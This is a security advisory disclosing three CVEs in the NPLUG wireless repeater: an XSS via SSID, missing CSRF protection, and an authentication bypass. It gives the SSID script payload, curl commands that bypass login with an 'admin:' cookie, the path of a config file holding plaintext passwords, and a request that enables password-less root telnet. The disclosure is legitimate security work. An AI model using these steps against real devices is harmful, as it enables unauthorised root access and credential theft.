=====[ Tempest Security Intelligence ]=====================================


  Multiple vulnerabilities in NPLUG wireless repeater

  CVE-2018-12455: Authentication bypass
  CVE-2018-12456: Multiple CSRF
  CVE-2018-17337: XSS via SSID

  -------------------------------------------------------
  Author:
    - Patrick Costa < @patrickrbc >
    Tempest Security Intelligence - Recife, PE - Brazil


=====[ Table of Contents ]=================================================

  1. Overview
  2. Detailed description  
  3. Affected versions & Solutions  
  4. Timeline of disclosure  
  5. Thanks & Acknowledgements
  6. References

=====[ Overview ]==========================================================
 
  * System affected : NPLUG wireless repeater [1]
  * Version         : 1.0.0.14
  * Impact          : An attacker can get root access on the device.

=====[ Detailed description ]==============================================

  DISCLAIMER: This device uses a modified Tenda firmware [2]. Most of the
  vulnerabilities disclosed here were previously published regarding other
  similar device, besides that this device is pretty old.

  NPLUG wireless repeater has multiple vulnerabilities that can be combined
  to get a root access on the device.

  The first thing you can do to obtain access to the device is to exploit a
  XSS in the web interface (CVE-2018-17337). This can be exercised by
placing
  an access point in an appropriate range from the device with a malicious
  SSID, e.g.:

    <script src="[pwned]"></script>

  If the user tries to scan for wireless networks using the web
interface the
  XSS will pop and you're done. You can do all the stuff that will be
described
  here.

  But, what if the user never uses this feature? Well, NPLUG's web interface
  has no CSRF (CVE-2018-12456) protection, so you can try to force a
connected
  user to activate WAN access or change wireless security settings.

  Once you're inside NPLUG's network things became really easy. You can
bypass
  the authentication just by setting a cookie named "admin:"
(CVE-2018-12455).
 
  Example:

      curl -I http://10.0.0.1/
      HTTP/1.0 302 Redirect
      ...

      curl -I http://10.0.0.1/ -H "Cookie: admin:="
      HTTP/1.0 200 OK
      ...
 

  Now you have access to all the web interface features and you can download
  the config at http://10.0.0.1/DownloadCfg/RouterCfm.cfg containig
passwords
  in plain text.
 
  If that is not enough for you, you can activate telnet daemon by making a
  simple GET request to /goform/telnetd and guess what! Root access with no
  password.

  Lately, I found out that this firmware had a binary that would work as the
  same backdoor previously reported for Tenda routers [3]. However, the
service
  is not started by default and even when manually starting it, I couldn't
  exploit it for some reason. But there is not much need to do so.


=====[ Affected versions & Solutions ]=====================================

  This test was performed against version 1.0.0.14 but previous versions are
  probably vulnerable.

=====[ Timeline of disclosure ]============================================

  15/06/2018 - Vendor contacted.
  04/07/2018 - Vendor requested time to verify.
  22/08/2018 - Vendor replied they won't patch it.

=====[ Thanks & Acknowledgements ]=========================================

  - Felipe Xavier < filipe.xavier () tempest.com.br >
  - Gustavo Pimentel < gustavo.pimentel () tempest.com.br>
  - Tempest Security Intelligence [4]

=====[ References ]========================================================

  [1]
http://www.intelbras.com.br/empresarial/wi-fi/para-sua-casa/repetidor-de-sinal/nplug
  [2] http://www.tendacn.com/en/default.html
  [3] http://www.devttys0.com/2013/10/from-china-with-love/
  [4] http://www.tempest.com.br/